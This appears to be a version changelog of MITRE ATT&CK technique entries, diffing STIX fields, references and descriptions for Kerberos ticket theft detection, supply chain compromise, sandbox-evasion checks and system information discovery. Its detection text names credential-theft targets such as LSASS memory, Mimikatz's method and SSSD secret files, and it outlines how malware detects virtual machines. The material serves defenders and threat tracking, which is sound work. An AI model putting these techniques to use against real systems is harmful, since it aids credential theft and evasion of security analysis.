| external_references[8]['url'] | https://adsecurity.org/?p=2293 | https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f |
| external_references[9]['source_name'] | Medium Detecting Attempts to Steal Passwords from Memory | macOS kerberos framework MIT |
| external_references[9]['description'] | French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019. | Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021. |
| external_references[9]['url'] | https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea | http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html |
| x_mitre_data_sources[0] | Windows event logs | Active Directory: Active Directory Credential Request |
| x_mitre_data_sources[1] | Authentication logs | Logon Session: Logon Session Metadata |
| x_mitre_detection | Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection) Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015) Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored. | Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)
Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)
Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally.
Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)
Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.
Monitor for unusual processes accessing secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/. |
| x_mitre_version | 1.1 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ADSecurity Detecting Forged Tickets', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?p=1515'} | |
| external_references | {'source_name': 'Stealthbits Detect PtT 2019', 'description': 'Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.', 'url': 'https://blog.stealthbits.com/detect-pass-the-ticket-attacks'} | |
| external_references | {'source_name': 'CERT-EU Golden Ticket Protection', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'} | |
| external_references | {'source_name': 'Microsoft Kerberos Golden Ticket', 'description': 'Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.', 'url': 'https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285'} | |
| external_references | {'source_name': 'Microsoft Detecting Kerberoasting Feb 2018', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'} | |
| external_references | {'source_name': 'AdSecurity Cracking Kerberos Dec 2015', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'url': 'https://adsecurity.org/?p=2293'} | |
| external_references | {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'} | |
| x_mitre_data_sources | File: File Access | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
Current version: 1.5
Version changed from: 1.2 → 1.5
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate products or product delivery mech | t | 1 | Adversaries may manipulate products or product delivery mech |
| > | anisms prior to receipt by a final consumer for the purpose | > | anisms prior to receipt by a final consumer for the purpose | ||
| > | of data or system compromise. Supply chain compromise can t | > | of data or system compromise. Supply chain compromise can t | ||
| > | ake place at any stage of the supply chain including: * Man | > | ake place at any stage of the supply chain including: * Man | ||
| > | ipulation of development tools * Manipulation of a developme | > | ipulation of development tools * Manipulation of a developme | ||
| > | nt environment * Manipulation of source code repositories (p | > | nt environment * Manipulation of source code repositories (p | ||
| > | ublic or private) * Manipulation of source code in open-sour | > | ublic or private) * Manipulation of source code in open-sour | ||
| > | ce dependencies * Manipulation of software update/distributi | > | ce dependencies * Manipulation of software update/distributi | ||
| > | on mechanisms * Compromised/infected system images (multiple | > | on mechanisms * Compromised/infected system images (multiple | ||
| > | cases of removable media infected at the factory) (Citation | > | cases of removable media infected at the factory)(Citation: | ||
| > | : IBM Storwize) (Citation: Schneider Electric USB Malware) | > | IBM Storwize)(Citation: Schneider Electric USB Malware) * | ||
| > | * Replacement of legitimate software with modified versions | > | Replacement of legitimate software with modified versions * | ||
| > | * Sales of modified/counterfeit products to legitimate distr | > | Sales of modified/counterfeit products to legitimate distrib | ||
| > | ibutors * Shipment interdiction While supply chain compromi | > | utors * Shipment interdiction While supply chain compromise | ||
| > | se can impact any component of hardware or software, attacke | > | can impact any component of hardware or software, adversari | ||
| > | rs looking to gain execution have often focused on malicious | > | es looking to gain execution have often focused on malicious | ||
| > | additions to legitimate software in software distribution o | > | additions to legitimate software in software distribution o | ||
| > | r update channels. (Citation: Avast CCleaner3 2018) (Citatio | > | r update channels.(Citation: Avast CCleaner3 2018)(Citation: | ||
| > | n: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) T | > | Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targ | ||
| > | argeting may be specific to a desired victim set (Citation: | > | eting may be specific to a desired victim set or malicious s | ||
| > | Symantec Elderwood Sept 2012) or malicious software may be d | > | oftware may be distributed to a broad set of consumers but o | ||
| > | istributed to a broad set of consumers but only move on to a | > | nly move on to additional tactics on specific victims.(Citat | ||
| > | dditional tactics on specific victims. (Citation: Avast CCle | > | ion: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 | ||
| > | aner3 2018) (Citation: Command Five SK 2011) Popular open so | > | 2018)(Citation: Command Five SK 2011) Popular open source p | ||
| > | urce projects that are used as dependencies in many applicat | > | rojects that are used as dependencies in many applications m | ||
| > | ions may also be targeted as a means to add malicious code t | > | ay also be targeted as a means to add malicious code to user | ||
| > | o users of the dependency. (Citation: Trendmicro NPM Comprom | > | s of the dependency.(Citation: Trendmicro NPM Compromise) | ||
| > | ise) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018. | |
| external_references | Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018. | |
| external_references | IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019. | |
| external_references | CAPEC-437 | |
| external_references | CAPEC-438 | |
| external_references | CAPEC-439 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-437 | |
| external_references | CAPEC-438 | |
| external_references | CAPEC-439 | |
| external_references | Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018. | |
| external_references | O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018. | |
| external_references | Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-13 12:38:32.426000+00:00 | 2022-04-28 16:03:22.870000+00:00 |
| description | Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: * Manipulation of development tools * Manipulation of a development environment * Manipulation of source code repositories (public or private) * Manipulation of source code in open-source dependencies * Manipulation of software update/distribution mechanisms * Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) * Replacement of legitimate software with modified versions * Sales of modified/counterfeit products to legitimate distributors * Shipment interdiction While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise) | Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: * Manipulation of development tools * Manipulation of a development environment * Manipulation of source code repositories (public or private) * Manipulation of source code in open-source dependencies * Manipulation of software update/distribution mechanisms * Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) * Replacement of legitimate software with modified versions * Sales of modified/counterfeit products to legitimate distributors * Shipment interdiction While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) |
| external_references[1]['source_name'] | capec | Avast CCleaner3 2018 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/437.html | https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities |
| external_references[2]['source_name'] | capec | Command Five SK 2011 |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/438.html | https://www.commandfive.com/papers/C5_APT_SKHack.pdf |
| external_references[3]['source_name'] | capec | IBM Storwize |
| external_references[3]['url'] | https://capec.mitre.org/data/definitions/439.html | https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E |
| external_references[4]['source_name'] | IBM Storwize | Symantec Elderwood Sept 2012 |
| external_references[4]['description'] | IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019. | O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018. |
| external_references[4]['url'] | https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
| external_references[6]['source_name'] | Avast CCleaner3 2018 | Trendmicro NPM Compromise |
| external_references[6]['description'] | Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018. | Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019. |
| external_references[6]['url'] | https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities | https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets |
| external_references[8]['source_name'] | Command Five SK 2011 | capec |
| external_references[8]['url'] | https://www.commandfive.com/papers/C5_APT_SKHack.pdf | https://capec.mitre.org/data/definitions/437.html |
| external_references[9]['source_name'] | Symantec Elderwood Sept 2012 | capec |
| external_references[9]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://capec.mitre.org/data/definitions/438.html |
| external_references[10]['source_name'] | Trendmicro NPM Compromise | capec |
| external_references[10]['url'] | https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets | https://capec.mitre.org/data/definitions/439.html |
| x_mitre_data_sources[0] | Web proxy | File: File Metadata |
| x_mitre_data_sources[1] | File monitoring | Sensor Health: Host Status |
| x_mitre_version | 1.2 | 1.5 |
Current version: 2.1
Version changed from: 1.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various system checks to detect and a | t | 1 | Adversaries may employ various system checks to detect and a |
| > | void virtualization and analysis environments. This may incl | > | void virtualization and analysis environments. This may incl | ||
| > | ude changing behaviors based on the results of checks for th | > | ude changing behaviors based on the results of checks for th | ||
| > | e presence of artifacts indicative of a virtual machine envi | > | e presence of artifacts indicative of a virtual machine envi | ||
| > | ronment (VME) or sandbox. If the adversary detects a VME, th | > | ronment (VME) or sandbox. If the adversary detects a VME, th | ||
| > | ey may alter their malware to disengage from the victim or c | > | ey may alter their malware to disengage from the victim or c | ||
| > | onceal the core functions of the implant. They may also sear | > | onceal the core functions of the implant. They may also sear | ||
| > | ch for VME artifacts before dropping secondary or additional | > | ch for VME artifacts before dropping secondary or additional | ||
| > | payloads. Adversaries may use the information learned from | > | payloads. Adversaries may use the information learned from | ||
| > | [Virtualization/Sandbox Evasion](https://attack.mitre.org/te | > | [Virtualization/Sandbox Evasion](https://attack.mitre.org/te | ||
| > | chniques/T1497) during automated discovery to shape follow-o | > | chniques/T1497) during automated discovery to shape follow-o | ||
| > | n behaviors. Specific checks may will vary based on the ta | > | n behaviors.(Citation: Deloitte Environment Awareness) Spec | ||
| > | rget and/or adversary, but may involve behaviors such as [Wi | > | ific checks will vary based on the target and/or adversary, | ||
| > | ndows Management Instrumentation](https://attack.mitre.org/t | > | but may involve behaviors such as [Windows Management Instru | ||
| > | echniques/T1047), [PowerShell](https://attack.mitre.org/tech | > | mentation](https://attack.mitre.org/techniques/T1047), [Powe | ||
| > | niques/T1059/001), [System Information Discovery](https://at | > | rShell](https://attack.mitre.org/techniques/T1059/001), [Sys | ||
| > | tack.mitre.org/techniques/T1082), and [Query Registry](https | > | tem Information Discovery](https://attack.mitre.org/techniqu | ||
| > | ://attack.mitre.org/techniques/T1012) to obtain system infor | > | es/T1082), and [Query Registry](https://attack.mitre.org/tec | ||
| > | mation and search for VME artifacts. Adversaries may search | > | hniques/T1012) to obtain system information and search for V | ||
| > | for VME artifacts in memory, processes, file system, hardwar | > | ME artifacts. Adversaries may search for VME artifacts in me | ||
| > | e, and/or the Registry. Adversaries may use scripting to aut | > | mory, processes, file system, hardware, and/or the Registry. | ||
| > | omate these checks into one script and then have the progra | > | Adversaries may use scripting to automate these checks int | ||
| > | m exit if it determines the system to be a virtual environme | > | o one script and then have the program exit if it determines | ||
| > | nt. Checks could include generic system properties such as | > | the system to be a virtual environment. Checks could incl | ||
| > | uptime and samples of network traffic. Adversaries may also | > | ude generic system properties such as host/domain name and s | ||
| > | check the network adapters addresses, CPU core count, and a | > | amples of network traffic. Adversaries may also check the ne | ||
| > | vailable memory/drive size. Other common checks may enumer | > | twork adapters addresses, CPU core count, and available memo | ||
| > | ate services running that are unique to these applications, | > | ry/drive size. Other common checks may enumerate services | ||
| > | installed programs on the system, manufacturer/product field | > | running that are unique to these applications, installed pro | ||
| > | s for strings relating to virtual machine applications, and | > | grams on the system, manufacturer/product fields for strings | ||
| > | VME-specific hardware/processor instructions.(Citation: McAf | > | relating to virtual machine applications, and VME-specific | ||
| > | ee Virtual Jan 2017) In applications like VMWare, adversarie | > | hardware/processor instructions.(Citation: McAfee Virtual Ja | ||
| > | s can also use a special I/O port to send commands and recei | > | n 2017) In applications like VMWare, adversaries can also us | ||
| > | ve output. Hardware checks, such as the presence of the f | > | e a special I/O port to send commands and receive output. | ||
| > | an, temperature, and audio devices, could also be used to ga | > | Hardware checks, such as the presence of the fan, temperatu | ||
| > | ther evidence that can be indicative a virtual environment. | > | re, and audio devices, could also be used to gather evidence | ||
| > | Adversaries may also query for specific readings from these | > | that can be indicative a virtual environment. Adversaries m | ||
| > | devices.(Citation: Unit 42 OilRig Sept 2018) | > | ay also query for specific readings from these devices.(Cita | ||
| > | tion: Unit 42 OilRig Sept 2018) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:32:02.514000+00:00 | 2021-10-18 14:57:07.973000+00:00 |
| description | Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. Specific checks may will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. Checks could include generic system properties such as uptime and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018) | Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018) |
| external_references[1]['source_name'] | McAfee Virtual Jan 2017 | Deloitte Environment Awareness |
| external_references[1]['description'] | Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019. | Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. |
| external_references[1]['url'] | https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/ | https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc |
| external_references[2]['source_name'] | Unit 42 OilRig Sept 2018 | McAfee Virtual Jan 2017 |
| external_references[2]['description'] | Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018. | Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019. |
| external_references[2]['url'] | https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/ | https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/ |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: OS API Execution |
| x_mitre_version | 1.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 OilRig Sept 2018', 'description': 'Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/'} | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 2.4
Version changed from: 2.1 → 2.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may attempt to get detailed information about t | t | 1 | An adversary may attempt to get detailed information about t |
| > | he operating system and hardware, including version, patches | > | he operating system and hardware, including version, patches | ||
| > | , hotfixes, service packs, and architecture. Adversaries may | > | , hotfixes, service packs, and architecture. Adversaries may | ||
| > | use the information from [System Information Discovery](htt | > | use the information from [System Information Discovery](htt | ||
| > | ps://attack.mitre.org/techniques/T1082) during automated dis | > | ps://attack.mitre.org/techniques/T1082) during automated dis | ||
| > | covery to shape follow-on behaviors, including whether or no | > | covery to shape follow-on behaviors, including whether or no | ||
| > | t the adversary fully infects the target and/or attempts spe | > | t the adversary fully infects the target and/or attempts spe | ||
| > | cific actions. Tools such as [Systeminfo](https://attack.mi | > | cific actions. Tools such as [Systeminfo](https://attack.mi | ||
| > | tre.org/software/S0096) can be used to gather detailed syste | > | tre.org/software/S0096) can be used to gather detailed syste | ||
| > | m information. A breakdown of system data can also be gather | > | m information. If running with privileged access, a breakdow | ||
| > | ed through the macOS <code>systemsetup</code> command, but i | > | n of system data can be gathered through the <code>systemset | ||
| > | t requires administrative privileges. Infrastructure as a S | > | up</code> configuration tool on macOS. As an example, advers | ||
| > | ervice (IaaS) cloud providers such as AWS, GCP, and Azure al | > | aries with user-level access can execute the <code>df -aH</c | ||
| > | low access to instance and virtual machine information via A | > | ode> command to obtain currently mounted disks and associate | ||
| > | PIs. Successful authenticated API calls can return data such | > | d freely available space. Adversaries may also leverage a [N | ||
| > | as the operating system platform and status of a particular | > | etwork Device CLI](https://attack.mitre.org/techniques/T1059 | ||
| > | instance or the model view of a virtual machine.(Citation: | > | /008) on network devices to gather detailed system informati | ||
| > | Amazon Describe Instance)(Citation: Google Instances Resourc | > | on.(Citation: US-CERT-TA18-106A) [System Information Discove | ||
| > | e)(Citation: Microsoft Virutal Machine API) | > | ry](https://attack.mitre.org/techniques/T1082) combined with | ||
| > | information gathered from other forms of discovery and reco | ||||
| > | nnaissance can drive payload development and concealment.(Ci | ||||
| > | tation: OSX.FairyTale)(Citation: 20 macOS Common Tools and T | ||||
| > | echniques) Infrastructure as a Service (IaaS) cloud provide | ||||
| > | rs such as AWS, GCP, and Azure allow access to instance and | ||||
| > | virtual machine information via APIs. Successful authenticat | ||||
| > | ed API calls can return data such as the operating system pl | ||||
| > | atform and status of a particular instance or the model view | ||||
| > | of a virtual machine.(Citation: Amazon Describe Instance)(C | ||||
| > | itation: Google Instances Resource)(Citation: Microsoft Viru | ||||
| > | tal Machine API) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-312 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 18:17:42.298000+00:00 | 2022-04-20 18:13:33.490000+00:00 |
| description | An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS systemsetup command, but it requires administrative privileges.
Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) | An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information.(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)
Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API) |
| external_references[1]['source_name'] | capec | Amazon Describe Instance |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/312.html | https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html |
| external_references[2]['source_name'] | Amazon Describe Instance | Google Instances Resource |
| external_references[2]['description'] | Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. | Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020. |
| external_references[2]['url'] | https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html | https://cloud.google.com/compute/docs/reference/rest/v1/instances |
| external_references[3]['source_name'] | Google Instances Resource | Microsoft Virutal Machine API |
| external_references[3]['description'] | Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020. | Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019. |
